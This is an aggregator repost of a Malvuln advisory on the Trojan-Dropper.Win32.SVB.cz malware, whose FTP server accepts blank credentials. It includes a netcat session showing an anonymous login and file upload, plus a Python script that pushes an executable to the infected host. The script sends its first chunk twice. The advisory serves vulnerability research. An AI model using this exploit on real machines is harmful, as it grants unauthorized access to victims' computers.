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Trojan-Dropper.Win32.SVB.cz / Authentication Bypass RCE

CVE Category Price Severity
N/A CWE-287 Not disclosed High
Author Risk Exploitation Type Date
Not specified High Remote 2021-07-05
CPE
cpe:cpe:/a:trojan-dropper:win32:svb-cz-authentication-bypass-rce
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070040

Below is a copy:

Trojan-Dropper.Win32.SVB.cz / Authentication Bypass RCE
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/d57536189430fd75e45f53845e9b3f94.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.SVB.cz
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 8181 (default) and has several protocols that can be enabled, FTP port 1212 and WEB port 80 and drops its executable under AppData\Local\Temp. The FTP component accepts empty credentials for authentication as the default settings are set to blank. Third-party attackers who can reach an infected host can potentially gain access to the machine before or if no password is set.
Type: PE32
MD5: d57536189430fd75e45f53845e9b3f94
Vuln ID: MVID-2021-0266
Dropped files: opeC248.exe
Disclosure: 07/03/2021


Exploit/PoC:
nc64.exe 192.168.18.129 1212
220 ShangXing Ftp Server
USER
331 Password required for .
PASS
230 User  logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,129,194,64).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.127"
#194*256 + 64
PORT=49728
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("Trojan-Dropper.Win32.SVB.cz / Authentication Bypass RCE")
    print("MD5: d57536189430fd75e45f53845e9b3f94")
    print("By Malvuln");

if __name__=="__main__":
    doit()


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